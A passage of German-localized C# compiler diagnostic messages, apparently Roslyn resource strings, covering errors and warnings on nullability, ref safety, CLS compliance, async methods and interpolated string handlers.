Standardschnittstellenimplementierung wird von der Zielruntime nicht unterstützt. + Die Kompilierung wurde vom Benutzer abgebrochen. + Metadatenverweise werden nicht unterstützt. + Auf einen Abfragetext muss eine Select-Klausel oder Group-Klausel folgen. + Der angegebene Ausdruck stimmt nie mit dem angegebenen Muster überein. + init-Zugriffsmethoden können nicht als schreibgeschützt markiert werden. Markieren Sie stattdessen "{0}" als schreibgeschützt. + Der Operator '&' sollte nicht für Parameter oder lokale Variablen in asynchronen Methoden verwendet werden. + Die switch-Anweisung enthält mehrere case-Bezeichnungen mit dem Wert "{0}". + Bezeichner erwartet; "{1}" ist ein Schlüsselwort. + Ungültiger Wert "{0}": "{1}". + Der Name des Typparameters "{0}" und der Name des Typparameters der äußeren Methode "{1}" sind identisch. + Ein Ausdrucksbaum darf keinen unsicheren Zeigervorgang enthalten. + Innerhalb eines Entitätsverweises wurde ein ungültiges Zeichen gefunden. + Ein Ausdrucksbaumstruktur-Lambda darf keine Methode mit Variablenargumenten enthalten. + Der Befehlszeilenschalter wurde noch nicht implementiert. + Der Compiler hat eine Variable implizit und signaturerweitert. Anschließend hat er den daraus resultierenden Wert in einem bitweisen OR-Vorgang verwendet. Das kann zu unerwartetem Verhalten führen. + Der *-Operator oder der ->-Operator muss auf einen Zeiger angewendet werden. + Ungültiger Name für ein Vorverarbeitungssymbol; "{0}" ist kein gültiger Bezeichner. + Der {0}-Operator kann nicht auf Operanden vom Typ "{1}" und "{2}" angewendet werden. + Integer-Werte nativer Größe + Typ kann nicht als CLS-kompatibel, da es ein Element des Typs nicht CLS-kompatibel ist + Das CallerMemberNameAttribute hat keine Auswirkungen; es wird von dem CallerLineNumberAttribute überschrieben + Member von {0} "{1}" können nicht als schreibbarer Verweis zurückgegeben werden, weil es sich um eine schreibgeschützte Variable handelt. + Das auf den Parameter „{0}“ angewendete InterpolatedStringHandlerArgumentAttribute ist falsch formatiert und kann nicht interpretiert werden. Erstellen Sie eine Instanz von „{1}“ manuell. + Die angegebene Zeile ist "{0}" Zeichen lang, d. h. weniger als die angegebene Zeichennummer "{1}". + "{0}" ist als abstrakt markiert und kann daher keinen Text deklarieren. + Inkonsistenter Zugriff: Ereignistyp "{1}" ist weniger zugreifbar als Ereignis "{0}". + Der Member "{0}" überschreibt den veralteten Member "{1}". Fügen Sie das Obsolete-Attribut zu "{0}" hinzu. + Unerreichbarer Code wurde entdeckt. + Typ oder Element benötigt kein CLSCompliant-Attribut, da die Assembly kein CLSCompliant-Attribut besitzt + Der primäre Konstruktorparameter „{0}“ kann in diesem Kontext nicht verwendet werden. + Es konnte keine Implementierung des Abfragemusters für den Quelltyp "{0}" gefunden werden. "{1}" wurde nicht gefunden. Geben Sie den Typ der Bereichsvariablen "{2}" explizit an. + "{0}" ist keine gültige Warnungsnummer. + Der Typ "{3}" kann nicht als Typparameter "{2}" im generischen Typ oder in der generischen Methode "{0}" verwendet werden. Es ist keine implizite Verweiskonvertierung von "{3}" in "{1}" vorhanden. + Methode, Operator oder Accessor ist extern markiert und weist keine Attribute auf + Die Handlermethode „{0}“ einer interpolierten Zeichenfolgen ist falsch formatiert. „Void“ oder „bool“ wird nicht zurückgegeben. + Das discard-Muster ist als case-Bezeichnung in einer switch-Anweisung unzulässig. Verwenden Sie "case var _:" für ein discard-Muster oder "case @_:" für eine Konstante namens "_". + Die Aufrufkonvention von "{0}" ist nicht mit "{1}" kompatibel. + Ein Nullable-Verweistyp kann bei der Objekterstellung nicht verwendet werden. + Der Name des Destruktors muss mit dem Namen des Typs Klasse übereinstimmen. + Fehler in der Befehlszeilensyntax: "{0}" ist kein gültiger Wert für die Option "{1}". Der Wert muss im Format "{2}" vorliegen. + „{0}“ ist keine Instanzmethode, der Empfänger kann kein Handlerargument einer interpolierten Zeichenfolge sein. + Diese ref-Zuweisung weist "{1}" "{0}" zu, aber "{1}" kann die aktuelle Methode nur über eine return-Anweisung escapen. + Die Bereichsvariable "{0}" kann nicht als out- oder ref-Parameter übergeben werden. + Eine Foreach-Schleife muss die Iterationsvariablen deklarieren. + Uneingeschränkte Typparameter in NULL-Zusammenfügungsoperator + Das DllImport-Attribut muss für eine Methode angegeben werden, die als "static" und "extern" markiert ist. + partielle Methode + Feature '{0}' is not available in C# 12.0. Please use language version {1} or greater. + Die Funktion "{0}" ist in C# 11.0 nicht verfügbar. Bitte verwenden Sie Sprachversion {1} oder höher. + Die Funktion „{0}“ ist in C# 10.0 nicht verfügbar. Bitte verwenden Sie Sprachversion {1} oder höher. + Dem Feld "{0}" wurde ein Wert zugewiesen, der aber nie verwendet wird. + "yield" kann nicht im Text einer finally-Klausel verwendet werden. + <Namespace> + Der await-Operator kann in einem Abfrageausdruck nur innerhalb des ersten Sammlungsausdrucks der ursprünglichen from-Klausel oder innerhalb des Sammlungsausdrucks einer join-Klausel verwendet werden. + Der für Parameter "{0}" angegebene Standardwert hat keine Auswirkungen, da er für einen Member gilt, der in Kontexten verwendet wird, in denen keine optionalen Argumente zulässig sind. + {0}: Eine explizite Schnittstellendeklaration kann nur in einer Klasse, einem Datensatz, einer Struktur oder einer Schnittstelle erfolgen. + Sie können den globalen externen Alias nicht neu definieren. + Die Methode "Slice" des Inlinearrays wird nicht für den Elementzugriffsausdruck verwendet. + Das CLSCompliant-Attribut hat keine Bedeutung, wenn es auf Parameter angewendet wird. Wenden Sie es stattdessen auf die Methode an. + Diese Warnung wird verursacht, wenn bei einem catch()-Block nach einem catch (System.Exception e)-Block kein Ausnahmetyp angegeben ist. Die Warnung empfiehlt, dass der catch()-Block keine Ausnahmen erfasst. + +Ein catch()-Block nach einem catch (System.Exception e)-Block kann nicht-CLS-Ausnahmen erfassen, wenn für das RuntimeCompatibilityAttribute false in der AssemblyInfo.cs-Datei festgelegt wird: [assembly: RuntimeCompatibilityAttribute(WrapNonExceptionThrows = false)]. Wenn für dieses Attribut nicht explizit false festgelegt wird, werden alle ausgelösten nicht-CLS-Ausnahmen als Ausnahmen gepackt und der catch (System.Exception e)-Block erfasst sie. + Das CallerArgumentExpressionAttribute, das auf den Parameter angewendet wird, hat keine Auswirkungen, da es sich um einen selbstreferenziellen Wert handelt. + Eine out-Variable kann nicht als lokales ref-Element deklariert werden. + Kann nicht in einer catch-Klausel warten. + Für den Operator "{0}" muss auch eine übereinstimmende nicht überprüfte Version des Operators definiert werden. + Dateibereichsnamespace + Dynamische Objekte können nicht dekonstruiert werden. + Ein Ausdruck kann in diesem Kontext nicht verwendet werden, weil er möglicherweise nicht als Verweis übergeben oder zurückgegeben wird. + Eine /reference-Option, die einen externen Alias deklariert, kann nur einen Dateinamen haben. Um mehrere Aliase oder Dateinamen festzulegen, verwenden Sie mehrere /reference-Optionen. + Die Umwandlung eines stackalloc-Ausdrucks vom Typ "{0}" in den Typ "{1}" ist nicht möglich. + Das schließende Trennzeichen "}" fehlt für den interpolierten Ausdruck, der mit "{" beginnt. + Sie müssen das CLSCompliant-Attribut in der Assembly statt im Modul angeben, um die CLS-Kompatibilitätsprüfung zu aktivieren. + Der Modifikator ‚Scoped‘ kann nur für Refs und Ref-Strukturwerte verwendet werden. + Eine foreach-Anweisung kann nicht für Variablen vom Typ "{0}" verwendet werden, weil "{0}" keine öffentliche Instanz- oder Erweiterungsdefinition für "{1}" enthält. + Fehler beim Lesen der RULESET-Datei "{0}": {1} + Rufen Sie die Finalize-Methode Ihres Basistyps nicht direkt auf. Sie wird automatisch vom Destruktor aufgerufen. + "{0}": Der Enumeratorwert ist zu groß für seinen Typ. + Die angegebene Datei enthält "{0}" Zeilen, die kleiner als die angegebene Zeilennummer "{1}" sind. + Ungültiger Dateiname für Präprozessordirektive angegeben. Der Dateiname ist zu lang oder kein gültiger Dateiname. + Typ oder Element ist veraltet + Der Ausdruck kann nicht in "{0}" konvertiert werden, da er nicht als Verweis übergeben oder zurückgegeben werden darf. + Die Typargumente der {0}-Methode können nicht per Rückschluss aus der Syntax abgeleitet werden. Geben Sie die Typargumente explizit an. + Mögliches Nullverweisargument. + &Methodengruppe + Dateiattribut fehlt + Pfadattribut fehlt + Der verwaltete Typ "{0}" ist für Felder nicht gültig. + Fehler beim Signieren der Ausgabe mit einem öffentlichen Schlüssel aus dem Container "{0}": {1} + Für den Operator "{0}" muss außerdem ein übereinstimmender Operator "{1}" definiert werden. + Ein Feldinitialisierer kann nicht auf das nicht statische Feld bzw. die nicht statische Methode oder Eigenschaft "{0}" verweisen. + Schreibgeschützte automatisch implementierte Eigenschaften + Der Namespace "{1}" enthält in dieser Datei bereits eine Definition für "{0}". + Felder des statischen schreibgeschützten Felds "{0}" können (außer in einem statischen Konstruktor) nicht als ref- oder out-Wert verwendet werden. + Diese ref-Zuweisung weist "{1}" "{0}" zu, aber "{1}" weist einen kleineren Escapebereich auf als "{0}". + Zugriffsmodifizierer für Eigenschaften + Typen und Aliase können nicht als "scoped" bezeichnet werden. + Ungültiges Token "{0}" in Klassen-, Datensatz-, Struktur- oder Schnittstellenmemberdeklaration + Metadatendatei "{0}" wurde nicht gefunden. + Der Aufruf eines nicht schreibgeschützten Members aus einem readonly-Member führt zu einer impliziten Kopie. + Der Dateibereichsnamespace muss allen anderen Elementen in einer Datei vorangestellt sein. + "{0}" enthält keine vordefinierte Größe, sizeof kann daher nur in einem ungeschützten Kontext verwendet werden. + Ungültiger Suchpfad "{0}" in "{1}": "{2}" + "{0}" kann nicht in den Typ "{1}" konvertiert werden, weil die Parametertypen nicht den Delegatparametertypen entsprechen. + Nur CLS-kompatible Elemente können abstrakt sein + privat geschützt + Die Assembly und das Modul "{0}" können nicht verschiedene Zielprozessoren haben. + Eine Ausdrucksbaumstruktur darf keinen Bereichsausdruck ("..") enthalten. + Der Verweistypmodifizierer des Parameters '{0}' entspricht nicht dem entsprechenden Parameter '{1}' im Ziel. + "{0}" ist kein interpolierter Zeichenfolgenhandlertyp. + Der Verweistypmodifizierer des Parameters '{0}' stimmt nicht mit dem entsprechenden Parameter überein, der im ausgeblendeten Member '{1}'. + Die automatisch implementierte Eigenschaft "{0}" wird gelesen, bevor sie explizit zugewiesen wird. Dies führt zu einer vorherigen impliziten Zuweisung von "Standard". + Kann nicht im Text einer lock-Anweisung warten. + Ein statisches schreibgeschütztes Feld kann (außer in einem statischen Konstruktor) nicht als ref- oder out-Wert verwendet werden. + Verwendung einer möglicherweise nicht zugewiesenen automatisch implementierten Eigenschaft. Erwägen Sie, die Sprachversion so zu aktualisieren, dass die Eigenschaft automatisch standardmäßig festgelegt wird. + Das Attribut "{0}" ist bei Accessoren für Eigenschaften und Ereignisse nicht gültig. Es ist nur bei {1}-Deklarationen gültig. + Der 'Scoped'-Modifikator des Parameters '{0}' stimmt nicht mit dem Ziel '{1}' überein. + Die angegebene Versionszeichenfolge '{0}' enthält Platzhalter, die mit Determinismus nicht kompatibel sind. Entfernen Sie die Platzhalter aus der Versionszeichenfolge, oder deaktivieren Sie Determinismus für diese Kompilierung. + Die NULL-Zulässigkeit von Verweistypen im expliziten Schnittstellenspezifizierer entspricht nicht der vom Typ implementierten Schnittstelle. + Arrays als Attributargumente sind nicht CLS-kompatibel. + Nicht verwendeter externer Alias + Ungültige Zahl. + Parameter zum Verwerfen von Lambdafunktion + Das Ergebnis eines stackalloc-Ausdrucks dieses Typs in diesem Kontext kann außerhalb der enthaltenden Methode verfügbar gemacht werden. + Typvarianz + Das Verzeichnis ist nicht vorhanden. + Damit "{0}" als Kurzschlussoperator anwendbar ist, muss der deklarierende Typ "{1}" einen Operator "true" und einen Operator "false" definieren. + Verwerfbar + Ein geschachtelter Arrayinitialisierer wird erwartet. + Nur Klassentypen können Destruktoren enthalten. + Es wird davon ausgegangen, dass der Assemblyverweis mit der Identität übereinstimmt + Der Assemblyverweis "{0}" ist ungültig und kann nicht aufgelöst werden. + abgeleiteter Delegattyp + Gibt einen Parameter als Verweis über einen ref-Parameter zurück, dieser kann jedoch nur in einer return-Anweisung sicher zurückgegeben werden. + Für das Standardliteral ist kein Zieltyp vorhanden. + Für die Dekonstruktionszuweisung ist ein Ausdruck mit einem Typ auf der rechten Seite erforderlich. + Ungültige Dateiabschnittausrichtung "{0}" + Anonyme Methoden, Lambdaausdrücke, Abfrageausdrücke und lokale Funktionen innerhalb von Strukturen können nicht auf Instanzmember von "this" zugreifen. Kopieren Sie "this" in eine lokale Variable außerhalb der anonymen Methode, des Lambdaausdrucks, des Abfrageausdrucks oder der lokalen Funktion, und verwenden Sie die lokale Variable. + Eine Zuweisung zu einem Member von {0} "{1}" oder die Verwendung als rechte Seite einer ref-Zuweisung ist nicht möglich, da es sich um eine schreibgeschützte Variable handelt. + Die NULL-Zulässigkeit von Verweistypen im Typ "{0}" entspricht nicht dem implizit implementierten Member "{1}". + Der bedingte Member "{0}" kann den Schnittstellenmember "{1}" im Typ "{2}" nicht implementieren. + Die NULL-Zulässigkeit von Verweistypen im Rückgabetyp von "{0}" entspricht nicht dem implizit implementierten Member "{1}". + Die statische {0}-Klasse kann nicht vom Typ "{1}" abgeleitet werden. Statische Klassen müssen von einem Objekt abgeleitet werden. + Felder eines statischen schreibgeschützten Felds "{0}" können nicht als schreibbarer Verweis zurückgegeben werden. + Der Typ "{0}" ist zwar in dieser Assembly definiert, es wurde aber eine Typweiterleitung für ihn festgelegt. + Das Muster kann nicht erreicht werden. Es wurde bereits von einem vorherigen Verzweigungsarm des Switch-Ausdrucks behandelt, oder es ist keine Übereinstimmung möglich. + Ein Ausdruck ist zu lang oder zu komplex für eine Kompilierung. + Einzeiliger Kommentar oder Zeilenende erwartet nach #pragma-Direktive + "{0}": Die Ereigniseigenschaft muss sowohl add- als auch remove-Accessoren besitzen. + Gibt einen Parameter als Verweis "{0}" zurück, dieser ist jedoch auf die aktuelle Methode beschränkt. + { oder ; oder => erwartet + Die Assembly, auf die verwiesen wird, hat einen anderen Zielprozessor. + Die verwaltete Co-Klassen-Wrapperklasse "{0}" für die "{1}"-Schnittstelle kann nicht gefunden werden. (Möglicherweise fehlt ein Assemblyverweis.) + "{0}" implementiert das Muster "{1}" nicht. "{2}" ist mit "{3}" nicht eindeutig. + Ungültige Option "{0}" für "/langversion". Mit "/langversion:?" können Sie eine Liste unterstützter Werte abrufen. + Ein aliasqualifizierter Name ist kein Ausdruck. + Es wurde ein Bezeichner erwartet. + Der Typ "{0}" ist nicht definiert. + Der "goto case"-Wert kann nicht implizit in den Typ "{0}" konvertiert werden. + Zuweisung in bedingtem Ausdruck ist immer konstant + Der bedingte Member "{0}" kann keinen out-Parameter enthalten. + Kann nicht in unsicherem Kontext warten. + Eine eingebettete Anweisung kann keine Deklaration und keine Anweisung mit Bezeichnung sein. + "{0}" muss Überschreibungen zulassen, weil der enthaltende Datensatz nicht versiegelt ist. + Ein Werttyp, der NULL zulässt, kann NULL sein. + Statische lokale Funktionen + Konstruktor ist extern markiert + Der Vorgang kann zur Laufzeit überlaufen (verwenden Sie zum Überschreiben die Syntax „unchecked“) + Sammlungsinitialisierer + Der vordefinierte Typ "{0}" ist nicht definiert oder importiert. + automatisch implementierte Eigenschaften + ref-Neuzuweisung + Ein Ausdruck vom Typ "{0}" kann nicht von einem Muster vom Typ "{1}" behandelt werden. Verwenden Sie Sprachversion {2} oder höher, um einen offenen Typ mit einem konstanten Muster abzugleichen. + Der dynamisch gebundene Aufruf von Methode "{0}" verursacht möglicherweise einen Fehler zur Laufzeit, weil es sich bei mindestens einer geltenden Überladung um eine bedingte Methode handelt. + Typ oder Element ist veraltet + Der Konstruktor "{0}" ist als extern markiert. + "{0}": Statische Klassen können keine Schnittstellen implementieren. + Die eingebettete Interopstruktur "{0}" kann nur öffentliche Instanzfelder enthalten. + Die Ableitung von "{0}" ist nicht möglich, weil es sich um einen Typparameter handelt. + Der Typ einer lokalen Variablen, die in einer fixed-Anweisung deklariert wird, muss ein Zeigertyp sein. + externer Alias + Ungültiger Rückgabetyp im cref-Attribut des XML-Kommentars. + Der Typ "{0}" kann in diesem Kontext nicht verwendet werden, da er nicht in Metadaten dargestellt werden kann. + Die NULL-Zulässigkeit von Verweistypen im Rückgabetyp entspricht (möglicherweise aufgrund von Attributen für die NULL-Zulässigkeit) nicht dem implementierten Member. + CLSCompliant-Attribut hat keine Bedeutung, wenn es auf die Parameter angewendet wird + Die NULL-Zulässigkeit in Einschränkungen für den Typparameter entspricht nicht den Einschränkungen für den Typparameter in der implizit implementierten Schnittstellenmethode. + Der erste Operand eines "as"-Operators ist unter Umständen kein Tupelliteral ohne einen natürlichen Typ. + Ungültiger Instrumentierungstyp: {0} + Überprüfte benutzerdefinierte Operatoren + Sie können einen Namespace nicht im Skriptcode deklarieren. + Eine öffentliche, geschützte oder eine interne, geschützte Variable muss ein Typ sein, dermit der Common Language Specification (CLS) kompatibel ist. + Partielle Deklarationen von "{0}" haben Zugriffsmodifizierer, die miteinander einen Konflikt verursachen. + Der Typ "{3}" kann nicht als Typparameter "{2}" im generischen Typ oder in der generischen Methode "{0}" verwendet werden. Der Typ "{3}", der NULL-Werte zulässt, entspricht nicht der Einschränkung von "{1}". + Ein nameof-Operator kann nicht abgefangen werden. + Möglicher unbeabsichtigter Referenzvergleich; rechte Seite muss umgewandelt werden + In die Ausgabedatei "{0}" konnte nicht geschrieben werden: "{1}" + Schlüsselwort "this" oder "base" erwartet. + Das EnumeratorCancellationAttribute hat keine Auswirkungen. Das Attribut ist nur für einen Parameter vom Typ "CancellationToken" in einer async-iterator-Methode gültig, die IAsyncEnumerable zurückgibt. + Die NULL-Zulässigkeit von Verweistypen im Rückgabetyp "{0}" entspricht (möglicherweise aufgrund von Attributen für die NULL-Zulässigkeit) nicht dem implizit implementierten Member "{1}". + Das Ergebnis des Ausdrucks lautet immer gleich, da ein Wert dieses Typs niemals 'null' entspricht + Zeigerelementzugriff + "{0}" überschreibt die erwartete Eigenschaft von "{1}" nicht. + In Skriptcode der obersten Ebene darf "yield" nicht verwendet werden. + Bei der asynchronen Methode fehlen "await"-Operatoren. Die Methode wird synchron ausgeführt. + Der vordefinierte Typ is in mehreren Assemblys im globalen Alias definiert + Der Name "_" verweist auf den Typ "{0}", nicht auf das discard-Muster. Verwenden Sie "@_" für den Typ oder "var _" zum Verwerfen. + Enumerationen, Klassen und Strukturen können nicht in Schnittstellen mit Parametern vom Typ "in" oder "out" deklariert werden. + "{0}": Ein Attributargument kann keine Typparameter verwenden. + Überladbarer Operator erwartet. + Für Felder eines statischen schreibgeschützten Felds "{0}" ist eine Zuweisung nicht möglich (außer in einem statischen Konstruktor oder einem Variableninitialisierer). + Filterausdruck ist eine Konstante "true" + Es wurden keine Quelldateien angegeben. + "{0}" hat die falsche Signatur, um ein Einstiegspunkt zu sein. + Catch-Klauseln können nicht auf die allgemeine catch-Klausel einer try-Anweisung folgen. + Die partielle Methode "{0}" muss Zugriffsmodifizierer aufweisen, weil sie einen Modifizierer "virtual", "override", "sealed", "new" oder "extern" verwendet. + Handler-Konvertierungen interpolierter Zeichenfolgen die auf die Instanz verweisen, die gerade indiziert wird, können nicht in Indexer-Member-Initialisierern verwendet werden. + Fehlendes Argument. + Eine Lambdafunktion kann nur dann in einen Ausdrucksbaum konvertiert werden, wenn das Typargument "{0}" ein Delegattyp ist. + Diese ref-Zuweisung weist einen Wert zu, der die aktuelle Methode nur über eine return-Anweisung escapen kann. + Rückgabe + Der Vorgang ist für void-Zeiger nicht definiert. + Der Delegat "{0}" weist keine Invoke-Methode oder eine Invoke-Methode mit nicht unterstützten Rückgabe- oder Parametertypen auf. + Es kann kein konstruierter generischer Typ aus einem anderen konstruierten generischen Typ erstellt werden. + Das Feld "{0}" wird gelesen, bevor es explizit zugewiesen wird. Dies führt zu einer vorherigen impliziten Zuweisung von "Standard". + nameof-Operator + Es ist nicht möglich, einen Zeiger für den verwalteten Typ ("{0}") zu deklarieren oder dessen Adresse oder Größe abzurufen. + Die Funktion "{0}" ist nicht Teil der C#-Sprachspezifikation nach ISO-Norm und wird daher möglicherweise von anderen Compilern nicht akzeptiert. + Das in einer Quelldatei angegebene Attribut "{0}" steht mit der Option "{1}" in Konflikt. + Das CLSCompliant-Attribut kann nicht für ein Modul angegeben werden, das sich vom CLSCompliant-Attribut der Assembly unterscheidet. + entspannter Schichtoperator + Der Parameter "{0}" sollte nicht mit dem Schlüsselwort "{1}" deklariert werden. + "{0}" ist mit dem Attribut "UnmanagedCallersOnly" versehen und kann nicht in einen Delegattyp konvertiert werden. Rufen Sie einen Funktionszeiger auf diese Methode ab. + Kann nicht im Text einer finally-Klausel warten + Eine Interceptormethode muss eine normale Membermethode sein. + Der out-Parameter "{0}" muss eine Zuweisung erhalten, bevor die Steuerung die aktuelle Methode verlässt. + Datensätze können nur von einem Objekt oder einem anderen Datensatz erben. + Objekt, Zeichenfolge oder Klassentyp erwartet. + Eine Ausdrucksbaumstruktur darf keinen with-Ausdruck enthalten. + Verknüpfte NETMODULE-Metadaten müssen ein vollständiges PE-Abbild bereitstellen: "{0}". + Verwendung des nicht zugewiesenen out-Parameters "{0}". + Es sollte kein Alias mit dem Namen " global" definiert werden + „{0}“: Ein Attributtypargument kann keine Typparameter verwenden + UTF-8-Zeichenfolgenliterale + /platform:anycpu32bitpreferred kann nur mit /t:exe, /t:winexe und /t:appcontainerexe verwendet werden. + In der Methode "{0}" fehlt die Anmerkung "[DoesNotReturn]" für den Abgleich mit dem implementierten oder überschriebenen Member. + Ein Verweisfeld kann nur in einer Verweisstruktur deklariert werden. + "{0}": Eine Klasse mit dem ComImport-Attribut kann keine Basisklasse angeben. + Da "{1}" das ComImport-Attribut aufweist, muss "{0}" extern oder abstrakt sein. + Die Interpolation muss mit derselben Anzahl schließender geschweiften Klammern enden wie die Anzahl von „$“-Zeichen, mit denen das Rohzeichenfolgenliteral begonnen hat. + fixed-Variable + Namenskonflikt für Name {0}. + Eine vorherige Catch-Klausel hat bereits alle Ausnahmen dieses oder eines übergeordneten Typs abgefangen ("{0}"). + Verwendung des möglicherweise nicht zugewiesenen Felds "{0}". + Blocktexte und Ausdruckstexte können nicht bereitgestellt werden. + System.Void kann nicht in C# verwendet werden. Sie können das void-Typobjekt mit typeof(void) abfragen. + Der angegebene Dokumentationsmodus wird nicht unterstützt oder ist ungültig: "{0}". + Der {0}-Operator ist für einen Operanden vom Typ "{1}" mehrdeutig. + Die NULL-Zulässigkeit von Verweistypen im Rückgabetyp entspricht nicht dem außer Kraft gesetzten Member. + Der Tupelelementname wird ignoriert, da vom Zuweisungsziel ein anderer oder kein Name angegeben ist. + Referenzierte Assembly hat keinen starken Namen + Eine partielle Methode darf Schnittstellenmethoden nicht explizit implementieren. + Der Modifizierer "scoped" des Parameters stimmt nicht mit dem Ziel überein. + Lambdaausdruck + "{0}" wurde importiert und kann deshalb nicht für die Main-Methode verwendet werden. + Der Parameter eines unären Operators muss der enthaltende Typ sein. + Das Feld "{0}" muss vollständig zugewiesen werden, bevor das Steuerelement an den Aufrufer zurückgegeben wird. Aktualisieren Sie ggf. auf die Sprachversion "{1}", um das Feld automatisch als Standard zu verwenden. + Die beste überladene Add-Methode "{0}" für das Sammlungsinitialisiererelement ist veraltet. {1} + Die Länge der aus der Verkettung resultierenden Zeichenfolgenkonstante überschreitet System.Int32.MaxValue. Teilen Sie die Zeichenfolge in mehrere Konstanten auf. + Sie müssen das CLSCompliant-Attribut in der Assembly statt im Modul angeben, um die CLS-Kompatibilitätsprüfung zu aktivieren. + Die referenzierte Assembly "{0}" besitzt keinen starken Namen. + Namespace + Der Aufruf unterscheidet nicht eindeutig zwischen den folgenden Methoden oder Eigenschaften: "{0}" und "{1}" + Einige NULL-Eingaben werden vom switch-Ausdruck nicht verarbeitet (nicht umfassender Ausdruck). Das Muster "{0}" wird beispielsweise nicht abgedeckt. + Die Gleitkommakonstante liegt außerhalb des Bereichs von Typ "{0}". + Das Rohzeichenfolgenliteraltrennzeichen muss sich in einer eigenen Zeile befindet. + Die Debuginformationen der Methode "{0}" (Token 0x{1:X8}) können nicht aus der Assembly "{2}" gelesen werden. + "UnmanagedCallersOnly" kann nur auf gewöhnliche statische, nicht abstrakte, nicht virtuelle Methoden oder statische lokale Funktionen angewendet werden. + Ein Funktionszeiger für "{0}" kann nicht erstellt werden, weil es sich nicht um eine statische Methode handelt. + Ungültige Option "{0}" für "/nullable". Zulässig sind nur "disable", "enable", "warnings" oder "annotations". + Debuginformationen für einen Quelltext können nur codiert ausgegeben werden. + Der Modifikator ‚Scoped‘ des Parameters ‚{0}‘ stimmt nicht mit dem überschriebenen oder implementierten Member überein. + Ungültige Option "{0}". Ressourcensichtbarkeit muss entweder "public" oder "private" sein. + Für den Parameter "ref readonly" wurde ein Standardwert '{0}' angegeben, "ref readonly" sollte jedoch nur für Verweise verwendet werden. Deklarieren Sie den Parameter ggf. als "in". + Durch die Verwendung des Ergebnisses in diesem Kontext können vom Parameter referenzierte Variablen außerhalb ihres Deklarationsbereichs verfügbar gemacht werden. + Operators kann aufgrund der Rangfolge hier nicht verwendet werden. + Der Datensatzmember "{0}" muss öffentlich sein. + Verwenden Sie nicht "{0}". Dies ist für die Nutzung durch den Compiler reserviert. + Warnung konnte nicht wiederhergestellt werden, da sie global deaktiviert wurde. + Der Parameter wird im Zustand des einschließenden Typs erfasst, und sein Wert wird auch zum Initialisieren eines Felds, einer Eigenschaft oder eines Ereignisses verwendet. + "__arglist" ist in der Parameterliste von Iteratoren nicht zulässig. + "{0}" implementiert den Schnittstellenmember "{1}" nicht. Die NULL-Zulässigkeit von Verweistypen in der vom Basistyp implementierten Schnittstelle stimmt nicht überein. + Async {0} kann nicht in Delegattyp "{1}" konvertiert werden. Async {0} gibt möglicherweise "void", "Task" oder "Task< T> " zurück. Diese können nicht in "{1}" konvertiert werden. + Die Verwendung der Variablen "{0}" in diesem Kontext kann dazu führen, dass referenzierte Variablen außerhalb ihres Deklarationsbereichs verfügbar gemacht werden. + Doppeltes Attribut "{0}". + Der Typ "{0}" kann nicht eingebettet werden, weil er einen nicht abstrakten Member aufweist. Legen Sie die Eigenschaft "Interoptypen einbetten" ggf. auf FALSE fest. + Der Delegattyp konnte nicht abgeleitet werden. + Der dateilokale Typ "{0}" kann nicht verwendet werden, weil der enthaltende Dateipfad nicht in die entsprechende UTF-8-Bytedarstellung konvertiert werden kann. {1} + Ein Endtag für Element "{0}" wurde erwartet. + Trennzeichen für vorangestellte Ziffern + Typargumente sind im nameof-Operator unzulässig. + Der Typ- oder Namespacename "{0}" ist im Namespace "{1}" nicht vorhanden. (Möglicherweise fehlt ein Assemblyverweis.) + "{0}": Beim Erstellen einer Instanz eines Variablentyps können keine Argumente bereitgestellt werden. + Fehler beim Lesen von Win32-Ressourcen: {0} + Der Typname "{0}" konnte nicht im globalen Namespace gefunden werden. Dieser Typ wurde an Assembly "{1}" weitergeleitet. Sie sollten einen Verweis auf die Assembly hinzufügen. + Es kann kein Ausdruck vom Typ "void" zurückgegeben werden. + Ein ref- oder out-Parameter kann keinen Standardwert aufweisen. + Der Typname "{0}" wurde nicht gefunden. Dieser Typ wurde an Assembly "{1}" weitergeleitet. Sie sollten einen Verweis auf die Assembly hinzufügen. + Iteratoren dürfen keine lokalen by-reference-Elemente aufweisen. + Beide partiellen Methodendeklarationen müssen identische Kombinationen der Modifizierer "virtual", "override", "sealed" und "new" verwenden. + Es kann kein Standardwert für den this-Parameter angegeben werden. + Der angegebene Ausdruck ist nie vom bereitgestellten ("{0}") Typ. + XML-Kommentar besitzt ein typeparam-Tag, es gibt jedoch keinen Typparameter mit diesem Namen + Beide partiellen Methodendeklarationen müssen unsicher sein, oder keine von beiden darf unsicher sein. + Zusammenfügungszuweisung + Ein Basistyp wurde so gekennzeichnet, dass er nicht mit der Common Language Specification (CLS) in einer Assembly kompatibel sein muss, die als CLS.kompatibel markiert wurde. Entfernen Sie entweder das Attribut, das angibt, dass die Assembly CLS-kompatibel ist oder entfernen Sie das Attribut, das angibt, dass der Typ nicht CLS-kompatibel ist. + Der angegebene Ausdruck stimmt immer mit der angegebenen Konstante überein. + Eine Methode mit "vararg" kann nicht generisch sein, in einem generischen Typ vorliegen oder einen params-Parameter besitzen. + '"await" erfordert, dass der Typ "{0}" über eine geeignete GetAwaiter-Methode verfügt. Fehlt möglicherweise eine using-Direktive für "System"? + ";" oder "=" erwartet. (Konstruktorargumente können nicht in einer Deklaration angegeben werden.) + Durch die Verwendung des Ergebnismembers in diesem Kontext können vom Parameter referenzierte Variablen außerhalb ihres Deklarationsbereichs verfügbar gemacht werden. + Durch den Aufruf des impliziten Bereichsindexers kann das Argument nicht benannt werden. + "with" in Strukturen + Das Argument kann aufgrund von Unterschieden bei der NULL-Zulässigkeit von Verweistypen nicht für den Parameter verwendet werden. + Der Rückgabetyp des True- oder False-Operators muss boolesch sein. + Dieser Konstruktor muss "SetsRequiredMembers" hinzufügen, da er mit einem Konstruktor verkettet ist, der dieses Attribut besitzt. + Die Einschränkung kann nicht die spezielle {0}-Klasse sein. + {0}: Die Zielruntime unterstützt keine covarianten Rückgabetypen in Überschreibungen. Der Rückgabetyp muss "{2}" sein, um dem überschriebenen Member "{1}" zu entsprechen. + Der Modifikator ‚Scoped‘ des Parameters ‚{0}‘ stimmt nicht mit dem überschriebenen oder implementierten Member überein. + Typ "{0}", der an Assembly "{1}" weitergeleitet wurde, steht in Konflikt mit Typ "{2}", der an Assembly "{3}" weitergeleitet wurde. + Das Argument muss eine Variable sein, da es an einen ref readonly-Parameter übergeben wird. + Standardwerte sind in diesem Kontext nicht gültig. + Ein Ref-Feld kann nicht auf eine Ref-Struktur verweisen. + Der dateilokale Typ "{0}" kann nicht als Basistyp des nicht-dateilokalen Typs "{1}" verwendet werden. + Der Delegat "{0}" enthält keinen Parameter mit dem Namen "{1}". + Die Aufrufkonvention "managed" kann nicht mit Spezifizierern 